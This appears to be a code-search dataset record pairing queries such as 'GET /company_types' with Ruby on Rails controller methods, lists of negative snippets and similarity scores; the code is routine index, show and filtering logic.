"def index\n respond_to do |format|\n # format.html # index.html.erb\n # format.json { render json: @documents }\n # This will die if not asekd by our dataTables, because we're using params[:collection_id]\n format.json { render json: DocumentsMainDatatable.new(view_context, current_user)}\n end\n end",
"def index\n\n @documentable = find_resource\n @documents = @documentable.documents\n\n end",
"def index\n @documents = Document.all\n end",
"def index\n @documents = Document.all\n end",
"def index\n @documents = Document.all\n end",
"def index\n @documents = Document.all\n end",
"def index\n @documents = Document.all\n end",
"def index\n @documents = Document.all\n end",
"def index\n @documents = Document.all\n end",
"def new\n @document = Document.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @document }\n format.json { render :json => @document }\n end\n end",
"def index\n @documents = Document.all.delete_if { |document| cannot? :read, document }\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @documents }\n format.xml { render xml: @documents }\n end\n end",
"def index\n @documents = Document.query( :string => params[:string], :site => params[:site_id] )\n @site = Site.first(conditions: {slug: params[:site_id]}) if params[:site_id]\n @documents = @documents.page(params[:page])\n respond_with @documents\n end",
"def new\n respond_with( @document = Document.new )\n end",
"def response\n @response ||= datasource_response['docs']\n end",
"def new\n @document_format = DocumentFormat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @document_format }\n end\n end",
"def index_documents\n @params = {}\n @action = 'index_documents'\n \n send_auth_request\n end",
"def index\n # (@response, @document_list) = search_results(params)\n set_cached_latest\n\n respond_to do |format|\n format.html { store_preferred_view }\n format.rss { render layout: false }\n format.atom { render layout: false }\n format.js\n format.json do\n render json: render_search_results_as_json\n # @presenter = Blacklight::JsonPresenter.new(@response,\n # @document_list,\n # facets_from_request,\n # blacklight_config)\n end\n # additional_response_formats(format)\n # document_export_formats(format)\n end\n end",
"def process_index\n bindings = {\n :url => @definition.get_url,\n :name => @definition.get_name,\n :resources => @definition.resources,\n :description => @definition.get_description,\n :version => @definition.get_version\n }\n\n page = Calamum::DocGenerator.new(:index)\n page.save_template('index.html', bindings)\n end",
"def index\n @document_statuses = DocumentStatus.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @document_statuses }\n end\n end",
"def index\n @client_docs = ClientDoc.all\n end",
"def get_doc \n @doc\n end"
] | [
"0.7077039",
"0.6881332",
"0.6847724",
"0.6838684",
"0.6776742",
"0.6665234",
"0.6644046",
"0.6640966",
"0.6624852",
"0.6600099",
"0.65971565",
"0.65811974",
"0.6562634",
"0.655483",
"0.65388584",
"0.65247405",
"0.65190923",
"0.6511596",
"0.65105987",
"0.6493588",
"0.6475371",
"0.647489",
"0.6463621",
"0.6449214",
"0.64409536",
"0.64233285",
"0.64082193",
"0.63956535",
"0.6393037",
"0.63834894",
"0.63802546",
"0.637301",
"0.63658965",
"0.63625807",
"0.6342588",
"0.63294846",
"0.6313003",
"0.63127464",
"0.63057095",
"0.63057095",
"0.63057095",
"0.63057095",
"0.63057095",
"0.63057095",
"0.63057095",
"0.6301165",
"0.6297085",
"0.62941754",
"0.62932223",
"0.6279995",
"0.6279337",
"0.62769794",
"0.62741196",
"0.627117",
"0.6265926",
"0.6265274",
"0.6249397",
"0.6244277",
"0.624364",
"0.6242632",
"0.6239031",
"0.6239031",
"0.62368125",
"0.62363374",
"0.62343216",
"0.62271154",
"0.62240285",
"0.62240285",
"0.62240285",
"0.62240285",
"0.62240285",
"0.62240285",
"0.62240285",
"0.62240285",
"0.62240285",
"0.62215495",
"0.62129813",
"0.62123525",
"0.6207276",
"0.6201225",
"0.6191845",
"0.6191587",
"0.6191587",
"0.6191587",
"0.6191587",
"0.6191587",
"0.6191587",
"0.6191587",
"0.6189285",
"0.6179703",
"0.6176109",
"0.6166617",
"0.61657244",
"0.61657",
"0.6163565",
"0.6163542",
"0.61556435",
"0.6153121",
"0.61505044",
"0.6133651"
] | 0.6399905 | 27 |
Excludes objects from the collections view or collections from the objects view | def exclude_unwanted_models(solr_parameters, user_parameters)
solr_parameters[:fq] ||= []
solr_parameters[:fq] << "-#{ActiveFedora.index_field_mapper.solr_name('has_model', :stored_searchable, type: :symbol)}:\"DRI::GenericFile\""
if user_parameters[:mode] == 'collections'
solr_parameters[:fq] << "+#{ActiveFedora.index_field_mapper.solr_name('is_collection', :facetable, type: :string)}:true"
unless user_parameters[:show_subs] == 'true'
solr_parameters[:fq] << "-#{ActiveFedora.index_field_mapper.solr_name('ancestor_id', :facetable, type: :string)}:[* TO *]"
end
else
solr_parameters[:fq] << "+#{ActiveFedora.index_field_mapper.solr_name('is_collection', :facetable, type: :string)}:false"
if user_parameters[:collection].present?
solr_parameters[:fq] << "+#{ActiveFedora.index_field_mapper.solr_name('root_collection_id', :facetable, type: :string)}:\"#{user_parameters[:collection]}\""
end
end
solr_parameters[:fq] << "+#{ActiveFedora.index_field_mapper.solr_name('status', :facetable, type: :string)}:published"
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def exclude_from_model\n []\n end",
"def prune\r\n NavContentsLens.new @nav, @objs.uniq\r\n end",
"def exclude; end",
"def complement\n self.class.all.difference(self)\n end",
"def exclude?(object)\n !include? object\n end",
"def complement\n self.class.all.difference(self)\n end",
"def use_hidden_objects?\n end",
"def excluded; end",
"def skip_collection?(collection)\n collection.published_at.nil? ||\n Time.parse(collection.published_at).utc > Time.now.utc ||\n collection.handle == 'frontpage' ||\n collection.title.include?('[hidden]') ||\n collection.product_ids.count.zero?\n end",
"def object_unauthorized_collection_ids\n @object_unauthorized_collection_ids ||= begin\n limited_access = []\n unauthorized_collection_ids = object_member_of - object_managed_collection_ids\n if unauthorized_collection_ids.any?\n unauthorized_collection_ids.each do |id|\n # TODO: Can we instead use a SOLR query? This seems to be somewhat expensive. However, as this is\n # used in administration instead of user front-end displays, I'm not as concerned.\n collection = ActiveFedora::Base.find(id)\n limited_access << id if (collection.instance_of? AdminSet) || collection.share_applies_to_new_works?\n end\n end\n limited_access\n end\n end",
"def excluded\n @ancestors - @picked\n end",
"def filter(objects) objects end",
"def ignored_associations\n %w().freeze\n end",
"def excluding_viewers_list\n names_string(self.viewers)\n end",
"def show_only_managed_collections_for_non_admins(solr_parameters)\n return if current_ability.admin?\n clauses = [\n '-' + ActiveFedora::SolrQueryBuilder.construct_query_for_rel(depositor: current_user_key),\n '-' + ActiveFedora::SolrQueryBuilder.construct_query_for_rel(has_model: Hyrax.config.admin_set_model, creator: current_user_key)\n ]\n solr_parameters[:fq] ||= []\n solr_parameters[:fq] += [\"(#{clauses.join(' OR ')})\"]\n end",
"def remove_marked\n @objects.remove_marked\n end",
"def excluded_models; %w[Tenant] end",
"def unassociated_mtm_objects(request, assoc, obj)\n ref = model.association_reflection(assoc)\n assoc_class = associated_model_class(assoc)\n lambda do |ds|\n subquery = model.db.from(ref[:join_table]).\n select(ref.qualified_right_key).\n where(ref.qualified_left_key=>obj.pk)\n ds = ds.exclude(S.qualify(ref.associated_class.table_name, ref.associated_class.primary_key)=>subquery)\n ds = assoc_class.apply_dataset_options(:association, request, ds) if assoc_class\n ds\n end\n end",
"def without_impossible_coordinates\n collection = clone\n collection.coordinates.reject! { |c| impossible_coordinate?(c) }\n collection\n end",
"def get_questions_without_visualizer\n questions.reject { |q| q.visualizer_set? }\n end",
"def index\n @item_not_includeds = ItemNotIncluded.all\n end",
"def index\n @admin_posts = Post.where(\"type <> 'VideoPost'\")\n end",
"def omit_related_resources( ds, options )\n\t\tunless options[:include_related]\n\t\t\tds = ds.reject {|uuid| @storage[uuid]['relationship'] }\n\t\tend\n\t\treturn ds\n\tend",
"def remove_unwanted_views\n blacklight_config.view.delete(:gallery)\n blacklight_config.view.delete(:masonry)\n blacklight_config.view.delete(:slideshow)\n end",
"def exclude\n [exceptions, self.class.exclude_always, foreign_key, polymorphic_type].flatten.uniq\n end",
"def not_sent\n @collection.reject(&:sent?)\n end",
"def only_collections?\n true\n end",
"def ignore\r\n access_denied_state_error :ignore unless @review_set.may_ignore?\r\n @review_set.ignore!\r\n controller_render(@review_set)\r\n end",
"def ignore_associations(*associations)\n ignored_associations.concat associations.flatten.compact.collect(&:to_sym)\n ignored_associations.uniq!\n end",
"def not\n self.class.not(self)\n end",
"def index\n @unwanteds = Unwanted.all\n end",
"def without_empty_sets\n collection = clone\n collection.sets.reject!(&:empty?)\n collection\n end",
"def index\n @home_owners = HomeOwner.where.not(id: 1) \n end",
"def scaffold_unassociated_objects(association, object, options)\n scaffold_associated_class(association).scaffold_get_objects(:conditions=>[scaffold_unassociated_condition(association, object), scaffold_associated_class(association).scaffold_session_conditions(options[:session])], :order=>scaffold_select_order_association(association), :include=>scaffold_include_association(association))\n end",
"def without_document(document)\n where(\"id not in (#{membership_query(document)})\")\n end",
"def collections_to_dump\n @only_collections\n end",
"def ignorable_objects\n\t\t[]\n\tend",
"def view_only!\n @view_only = true\n end",
"def unfiltered\n clone(:where => nil, :having => nil)\n end",
"def no_admin_set_abilities\n cannot [:edit, :create, :delete], Hydra::Admin::Collection\n end",
"def where_not(**mapping)\n render(NEGATION, **mapping)\n end",
"def list_resource\n resource_class.all_but_other\n end",
"def non_relationship_fields\n self.fields.select { |field| !field.is_relationship? }\n end",
"def check_exclude_fields\n=begin\n [:for_index, :for_new, :for_edit, :for_show].each do |key|\n exc= exclude_fields.send(key)\n next if exc # Leave user options if given.\n \n # By default, the foreign key of the parents are assigned on nested resources,\n # so i remove the from the default columns of new\n exclude_fields.send(\"#{key}=\", parent_ids) if key == :for_new && !parent_ids.empty?\n end\n=end\n # Because a single resource can have multiple resource parents,\n # this check is going to be done on \"runtime\" (ie remove the field for the \n # current parent, not all parents' fields)\n end",
"def >>(*object)\n object = object.flatten\n \n # Convert any IDs (strings) into their correct objects.\n object.map! { |o| o.kind_of?(String) && PublicEarth::Db::Base.find_in_general(o) || o }\n object.compact!\n\n places = object.select { |o| o.kind_of?(Atlas::Place) }\n remove_place(*places) unless places.blank?\n\n categories = object.select { |o| o.kind_of?(PublicEarth::Db::Category) || o.kind_of?(Atlas::Category) }\n remove_category(*categories) unless categories.blank?\n \n sources = object.select { |o| o.kind_of?(PublicEarth::Db::Source) || o.kind_of?(Atlas::Source)}\n remove_source(*sources) unless sources.blank?\n \n self\n end",
"def activity_filter(activities_object, *dont_include)\n dont_include = [dont_include] unless dont_include.is_a?(Array)\n activity_types = Activity.where(:id => activities_object.id).select(\"DISTINCT(template)\")\n #activity_types = activities_object.activities.select(\"DISTINCT(activities.template)\")\n filter_types = activity_types.find_all {|activity| !dont_include.include?(activity.template)}\n render :partial => 'activities/template_filter', :locals => { :activity_types => filter_types, :dont_include => dont_include }\n end",
"def not_in(_obj)\n raise NotImplementedError\n end",
"def exclude_kind!(kind)\n if queries = QUERIES[kind]\n self.exclude_kind ||= []\n self.exclude_kind += queries\n else\n raise DbAgile::Error, \"Unrecognized object kind #{kind}\"\n end\n end",
"def as_json(options = {})\n super(options.merge(except: %w[association_class unfiltered_collection collection]))\n end",
"def other_instances\n\t\tinstances.reject { |i| i == self }\n\tend",
"def exclude\n all - methods\n end",
"def exclude(query)\n query.negate!\n query\n end",
"def exclude(persons_or_groups)\n @excluded_persons_or_groups = persons_or_groups\n self\n end",
"def no_where\n @data.where_behavior = :exclude\n return self\n end",
"def collection include_object_type=false, &block\n ASObj.generate :collection, !include_object_type, &block\n end",
"def exclude_unwanted_models solr_parameters, user_parameters\n solr_parameters[:fq] ||= []\n # Only include GenericFile and Collection objects\n #solr_parameters[:fq] << \"active_fedora_model_ssi:GenericFile OR active_fedora_model_ssi:Collection\"\n solr_parameters[:fq] << \"active_fedora_model_ssi:Article OR active_fedora_model_ssi:Thesis\"\n end",
"def collections_filter\n session.command(\n listCollections: 1,\n filter: {\n name:\n { '$not' => /.?system\\.|\\$/ }\n }\n )\n end",
"def collection_serialization_options\n {:except => [:site_id, :position, :ancestry, :published_on], :methods => [:parents, :data]}\n end",
"def can_view?(object)\n false\n end",
"def not_visitors\n User.all - self.users\n end",
"def excludes\n @excludes ||= []\n end",
"def never_show *names\n names.each_with_object({}) { |name, hsh| hsh[name.to_sym] = FilterByNever.new(name) }\n end",
"def use_hidden_objects=(setting)\n end",
"def assoc_unsearchable(*args)\n opts = args.extract_options!\n args.flatten.each do |assoc|\n assoc = assoc.to_s\n raise(ArgumentError, \"No such association #{assoc} in #{self}\") unless self.reflect_on_all_associations.map {|a| a.name.to_s}.include?(assoc)\n self._metasearch_exclude_associations = self._metasearch_exclude_associations.merge(\n assoc => {\n :if => opts[:if]\n }\n )\n end\n end",
"def remove_invisible_in array, min_visibility # :nodoc:\n if min_visibility == :public then\n array.reject! { |e|\n e.visibility != :public and not e.force_documentation\n }\n else\n array.reject! { |e|\n e.visibility == :private and not e.force_documentation\n }\n end\n end",
"def exclude_locations\n return @exclude_locations\n end",
"def handle_content_exclusions\r\n @entry ||= Content.find(@content_id || params[:id])\r\n raise Kroogi::NotFound if @entry.class.name.to_s == 'ImageThumbnail'\r\n raise Kroogi::NotFound if @entry.featured_album?\r\n @entry.calc_in_inbox_by_user_data\r\n raise Kroogi::NotPermitted unless @entry.is_view_permitted? ||\r\n (permitted?(current_user, :moderate) && @entry.restriction_level >= Content.allow_moderators_to_view_this_circle_and_further) ||\r\n (current_user.admin? && params[:force_view])\r\n unless @entry.active?\r\n flash[:warning] = \"This content item has been blocked by the moderation team, and is no longer available for viewing\".t\r\n if permitted?(current_user, :moderate)\r\n return false\r\n else\r\n redirect_to(explore_path) and return false\r\n end\r\n end\r\n end",
"def without_approvals(items)\n items.without_approvals\n end",
"def trim_objectives\n return if objectives.empty? # do nothing\n\n if unit_planner.objectives.empty?\n objectives.clear\n else\n self.objectives = (unit_planner.objectives & self.objectives)\n end\n end",
"def non_relationship_custom_fields\n custom_fields_recipe['rules'].find_all do |rule|\n !%w[belongs_to has_many many_to_many].include?(rule['type'])\n end\n end",
"def exclusions\n @exclusions ||= []\n end",
"def exclusions\n @exclusions ||= []\n end",
"def exclude_from_index(entity, boolean)\n entity.properties.to_h.each_key do |value|\n entity.exclude_from_indexes! value, boolean\n end\n end",
"def excluding_viewers_list=(names)\n self.viewers.clear\n names.split(',').each do |name|\n viewer = Viewer.find_by_name(format_name(name.strip))\n self.viewers << viewer if viewer\n end\n end",
"def unfiltered\n cached_dataset(:_unfiltered_ds){clone(:where => nil, :having => nil)}\n end",
"def unmarked_employees\n self.workplace.employees.where.not(id: self.employees.map(&:id))\n end",
"def show\n uninvited_users\n end",
"def filter(collection)\n collection\n end",
"def filter(collection)\n collection\n end",
"def except_all(other)\n set_operation(other, :difference, distinct: false)\n end",
"def ignore(ignore_keys)\n return @collection if ignore_keys.blank?\n @collection.select { |kv_item| !ignore_keys.include?(kv_item.keys.first) }\n end",
"def unreferenced_elements\n model\n .elements\n .select { |el| el.references.none?(&ref_is_relationship_or_diagram) }\n end",
"def index\n allowed_items = get_allowed_item_types(current_container)\n @actions = NotificationFilter.actions\n #select just allowed objects in configuration \n @models = NotificationFilter.models.delete_if{ |m| !allowed_items.include?(m.name) } \n @filters = @user.notification_filters || {}\n end",
"def item_without(exclude)\n item = @item\n exclude.each do |e|\n item[e] = nil\n end\n \n item\n end",
"def deintersect\n [self]\n end",
"def datatable_exclude_fields\n # None\n []\n end",
"def vt_exclude(instant=Time.zone.now, range_end=nil)\n where(arel_vt_exclude(instant, range_end))\n end",
"def all_except(*excluded)\n all.find_all { |item| !(item === excluded) }\n end",
"def exclude(*files)\n filter.exclude *files\n self\n end",
"def conditions_for_collection\n return { :deleted => true }\n end",
"def reject\n fog_model.reject\n end",
"def ne(_obj)\n raise NotImplementedError\n end",
"def hideObject _obj, _args\n \"_obj hideObject _args;\" \n end",
"def object_serialization_options\n {:except => [:created_at, :updated_at, :maintenance_mode]}\n end",
"def remove_invisible min_visibility\n return if [:private, :nodoc].include? min_visibility\n remove_invisible_in @method_list, min_visibility\n remove_invisible_in @attributes, min_visibility\n remove_invisible_in @constants, min_visibility\n end",
"def exclude_unwanted_models(solr_parameters)\n solr_parameters[:fq] ||= []\n solr_parameters[:fq] << \"has_model_ssim:\\\"VotingRecord\\\" OR format_ssim:Candidate\"\n end",
"def members_without_admins\r\n self.members.values.select { |member| !self.is_admin?(member) }\r\n end",
"def show\n only_show_own_documents\n end",
"def exclude(*obj)\n Matchy::Expectations::ExcludeExpectation.new(obj, self)\n end",
"def exclude_attrs(hash, attrs, must_exclude, associations)\n exclude = attrs + associations + must_exclude\n hash.except(*exclude)\n end"
] | [
"0.646626",
"0.62107766",
"0.61120623",
"0.6111222",
"0.60607255",
"0.60438305",
"0.6016812",
"0.6001723",
"0.58460104",
"0.5837656",
"0.58049536",
"0.57358545",
"0.56861496",
"0.56078243",
"0.5596588",
"0.5591361",
"0.55899304",
"0.55801487",
"0.55705786",
"0.553814",
"0.5521062",
"0.55112934",
"0.5471002",
"0.5464882",
"0.546269",
"0.5433529",
"0.54236174",
"0.54199195",
"0.5415626",
"0.54080665",
"0.53968126",
"0.53755313",
"0.5361002",
"0.53554827",
"0.5349911",
"0.53485435",
"0.5343691",
"0.5318628",
"0.5305144",
"0.5284029",
"0.5277292",
"0.5245738",
"0.5245136",
"0.5243588",
"0.5242283",
"0.52194995",
"0.5216483",
"0.5215693",
"0.5213975",
"0.5213115",
"0.5196748",
"0.519089",
"0.5187533",
"0.51606673",
"0.5159989",
"0.51572555",
"0.5144229",
"0.5141524",
"0.513529",
"0.51302683",
"0.5129818",
"0.51292026",
"0.5124135",
"0.51240975",
"0.5122741",
"0.5118085",
"0.5095699",
"0.50841403",
"0.50831956",
"0.50816333",
"0.50708395",
"0.50708395",
"0.5067795",
"0.50624734",
"0.50567394",
"0.5052829",
"0.50508934",
"0.50490093",
"0.50490093",
"0.5042972",
"0.50424016",
"0.5042018",
"0.50409037",
"0.50407207",
"0.5037913",
"0.5037817",
"0.50283",
"0.5025718",
"0.5025644",
"0.5014513",
"0.50073856",
"0.5006221",
"0.5004902",
"0.5003792",
"0.5003366",
"0.50028",
"0.4999565",
"0.49990085",
"0.49937767",
"0.49921238"
] | 0.5072063 | 70 |
GET /company_types GET /company_types.json | def index
@company_types = CompanyType.all
render json: @company_types
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def show\n render json: @company_type\n end",
"def index\n @type_companies = TypeCompany.all\n end",
"def type\n fetch('company.type')\n end",
"def index\n @admin_company_types = Admin::CompanyType.all\n end",
"def byState\n @company_types = CompanyType.where(\"state_id = ?\", company_type_params[:state_id])\n\n render json: @company_types\n end",
"def index\n @crate_types = CrateType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @crate_types }\n end\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb (no data required)\n format.ext_json { render :json => find_contract_types.to_ext_json(:class => ContractType, :count => ContractType.count(options_from_search(ContractType))) }\n end\n end",
"def pet_types\r\n BnetApi::make_request('/wow/data/pet/types')\r\n end",
"def index\n @specification_types = SpecificationType.all.order(\"display_order\")\n\n render json: @specification_types, each_serializer: Web::V1::SpecificationTypeSerializer\n end",
"def index\n @credit_types = CreditType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @credit_types }\n end\n end",
"def types\n @client.make_request :get, reports_path\n end",
"def index\n @companies = companies_scope\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @companies }\n end\n end",
"def index \n respond_to do |format|\n format.html # index.html.erb\n format.json { \n asset_types = AssetType.all\n render json: asset_types \n }\n end\n end",
"def types\n aux = WorkOrderType.by_name\n render json: serialized_work_order_types(aux)\n end",
"def types\n types = Question.distinct.pluck(:type)\n render json: types.to_a\n end",
"def index\n @company = Company.find(params[:company_id])\n @roles = Role.where(:company_id => @company.id)\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @roles }\n end\n end",
"def index\n @catalog_contract_types = Catalog::ContractType.all\n end",
"def index\n @costtypes = Costtype.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @costtypes }\n end\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @resource_types }\n end\n end",
"def index\n @client_types = ClientType.all\n end",
"def index\n @contract_types = ContractType.all\n end",
"def index\n @companies = Company.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @companies }\n end\n end",
"def index\n @companies = Company.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @companies }\n end\n end",
"def index\n @companies = Company.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @companies }\n end\n end",
"def index\n @companies = Company.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @companies }\n end\n end",
"def list(type)\n get(resource_path_for_entity_type(type) + \"?rows=all\")\n end",
"def get_resource_types\n Occi::Log.debug(\"Getting resource types ...\")\n collection = @model.get Occi::Core::Resource.kind\n collection.kinds.collect { |kind| kind.term }\n end",
"def index\n @entity_types = EntityType.all\n end",
"def index\n @vehicle_types = VehicleType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @vehicle_types }\n end\n end",
"def companies\n render \"company/companies.json.jbuilder\", status: :ok\n end",
"def index\n \n @sales_types = SalesType.find_all_by_company_id(current_user.company_id)\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @sales_types }\n end\n \n end",
"def index\n @types = Type.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @types.lookup(params[:q]) }\n end\n end",
"def index\n @vet_lab_types = VetLabType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @vet_lab_types }\n end\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb (no data required)\n format.ext_json { render :json => find_companies.to_ext_json(:class => :company, :count => Company.count) }\n end\n end",
"def set_type_company\n @type_company = TypeCompany.find(params[:id])\n end",
"def index\n @companies = Company.all\n #result\n\n if @companies.count>0\n render :json => @companies.to_json(:include =>[:confidenceLevel,:nda,:country,:region,:state,:city,:company_type,:company_investors]), :status=>:ok\n else\n render :json => \"No companies found.\".to_json\n end\n end",
"def index\n @language_types = LanguageType.all\n\n render json: @language_types\n end",
"def index\n @platform_account_types = PlatformAccountType.all\n end",
"def create\n @company_type = CompanyType.new(company_type_params)\n\n if @company_type.save\n render json: @company_type, status: :created, location: @company_type\n else\n render json: @company_type.errors, status: :unprocessable_entity\n end\n end",
"def court_types\n render json: GamePass.court_types_options\n end",
"def index\n \n \n\n @outgoing_types = OutgoingType.find_all_by_company_id(current_user.company_id)\n \n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @outgoing_types }\n end\n \n end",
"def index\n # @donor_types = DonorType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @donor_types }\n end\n end",
"def index\n @companies = Company.all\n @com_info = Company.last\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @companies }\n end\n end",
"def index\n @company_authorities = CompanyAuthority.all\n\n render json: @company_authorities\n end",
"def index\n @ctypes = Ctype.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ctypes }\n end\n end",
"def show\n @all_type=Api::V1::AdminType.all\n render json: @all_type\n end",
"def index\n @taxonomies = Taxonomy.find_all_by_taxonomy_type(params[:taxonomy_type].presence || 'category')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @taxonomies }\n end\n end",
"def get_lesson_types\n get \"lessonTypes.json\"\n end",
"def index\n @types = Type.all\n end",
"def index\n @competence_types = CompetenceType.all\n end",
"def index\n @entity_types = EntityType.paginate(:page => params[:page], :per_page => per_page).order(sort_column + ' ' + sort_direction)\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @entity_types }\n end\n end",
"def set_company_type\n @company_type = CompanyType.find(params[:id])\n end",
"def index\n authorize CarrierType\n @carrier_types = CarrierType.order(:position)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @carrier_types }\n end\n end",
"def index\n @q = ContactType.page(params[:page]).search(params[:q])\n @contact_types = @q.result(distinct: true)\n end",
"def index\n respond_to do |format|\n format.html { @product_types = ProductType.all }\n format.json { @product_types = ProductType.order(:name) }\n end\n end",
"def index\n @q = CarType.search(params[:q])\n @car_types = @q.result(distinct: true).page(params[:page])\n\n respond_with(@car_types)\n end",
"def index\n @discipline_types = DisciplineType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @discipline_types }\n end\n end",
"def show\n if params[:term]\n @types = Type.all(:conditions => ['typeName LIKE ?', \"%#{params[:term]}%\"])\n else\n @type = Type.find(params[:id])\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @types }\n end\n end",
"def index\n @product_types = ProductType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @product_types }\n end\n end",
"def index\n @dept_types = DeptType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @dept_types }\n end\n end",
"def index\n @intelcompanies = IntelCompany.all\n render json: @intelcompanies.to_json(include: [:intel, :company])\n end",
"def index\n @product_types = ProductType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @product_types }\n end\n end",
"def index\n @typeconges = Typeconge.all\n end",
"def get_entity_types\n Occi::Log.debug(\"Getting entity types ...\")\n @model.kinds.collect { |kind| kind.term }\n end",
"def freebase_types\n _response_entity.fetch(\"freebaseTypes\", [])\n end",
"def index\n @court_types = CourtType.order(:name)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @court_types }\n end\n end",
"def index\n @companies = Company.all\n if @companies\n render json: {\n companies: @companies\n }\n else\n render json: {\n status: 500,\n errors: ['No companies']\n }\n end\n end",
"def get_job_types\n @project_job_types = @current_organization.project_job_types\n render partial: \"get_job_types\"\n end",
"def test_ListPlatformTypes\n\t\tcolName = 'types'\n\t\tretClass = LeanTesting::PlatformType\n\t\tresp = rcol(colName, ['_id', 'name'])\n\t\[email protected] = {'data'=> JSON.generate(resp), 'status'=> 200}\n\n\t\tcol = @client.platform.types.all\n\n\t\tassert_equal resp[colName], col.toArray\n\t\tassert_instance_of retClass, col.collection[0]\n\t\tassert_equal resp['meta']['pagination']['total'], col.total\n\t\tassert_equal resp['meta']['pagination']['total_pages'], col.totalPages\n\t\tassert_equal resp['meta']['pagination']['count'], col.count\n\tend",
"def index\n @api_v1_user_types = Api::V1::UserType.all\n end",
"def index\n @type_people = TypePerson.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @type_people }\n end\n end",
"def index\n @observation_types = ObservationType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @observation_types }\n end\n end",
"def show\n @contractor_type = ContractorType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @contractor_type }\n end\n end",
"def index\n @companies = ClientCompany.all\n end",
"def show\n render json: @company\n end",
"def index\n @technotypes = Technotype.all\n\n respond_to do |format|\n format.json { render json: @technotypes, status: 200 }\n end\n end",
"def index\n @cloth_types = ClothType.all\n end",
"def index\n @acct_types = AcctType.all\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @company }\n end\n end",
"def index\n @techaxis_types = TechaxisType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @techaxis_types }\n end\n end",
"def index\n @bet_types = Bet::Type.all\n end",
"def index\n if params[:company_type]\n @search = @community.companies.where(:company_type => params[:company_type]).search(params[:q])\n else\n @search = @community.companies.search(params[:q])\n end\n @companies = @search.result\n\n @tab_name = \"companies\"\n @page_title = \"Companies\"\n @page_subtitle = \"Loyal Businesses\"\n @page_description = \"\"\n\n add_breadcrumb \"Companies\", companies_path, :title => \"#{@community.name} Companies\"\n end",
"def index\n @trait_types = TraitType.all\n\n render json: @trait_types\n end",
"def index\n @incident_types = IncidentType.all\n end",
"def show\n @api_v1_user_types = Api::V1::UserType.all\n end",
"def show\n render json: @company_authority\n end",
"def org_types\n organizations.map(&:organization_type)\n end",
"def index\n breadcrumb_for_collections(@collection)\n semantic_breadcrumb @collection.name, @collection\n semantic_breadcrumb \"Entity Types\"\n @entity_types = @collection.entity_types\n end",
"def index\n @act_types = ActType.order(:name).page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @act_types }\n end\n end",
"def index\n authorize @thing, :get_types?\n @thing_types = @thing.thing_types\n end",
"def index\n \n\tbegin\n\t\t@coupon_types = CouponType.all\n\n\trescue Mongoid::Errors::DocumentNotFound\n\t\trespond_to do |format|\n\t\t\t#format.json { render :json => \"No Coupon Types Have Been Created Yet.\\n\", status: 603}\n\t\t\treturn\n\t\tend\n\telse\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\t#format.json { render json: @coupon_types }\n\t\t\tformat.json { render :json => @coupon_types.to_a.to_json }\n\t\tend\n end\n end",
"def show\n render json: [*@company]\n end",
"def index\n @shape_types = ShapeType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @shape_types }\n end\n end",
"def index\n @entry_types = EntryType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @entry_types }\n end\n end",
"def index\n @poi_types = PoiType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @poi_types }\n end\n end",
"def index\n @project_types = ProjectType.all\n end",
"def index\n @companies = Company.all\n respond_to do |format|\n format.html {}\n format.json {render json: {message: @companies}, status: 200}\n end\n end",
"def index\n @clothing_types = ClothingType.all\n end",
"def init_companies(type, klass)\n @config.fetch('companies').fetch(type).map do |config|\n klass.new(config).company\n end\n end",
"def index\n @task_types = @project.task_types\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @task_types }\n end\n end"
] | [
"0.72950727",
"0.7109263",
"0.70026845",
"0.6909386",
"0.66707665",
"0.65155303",
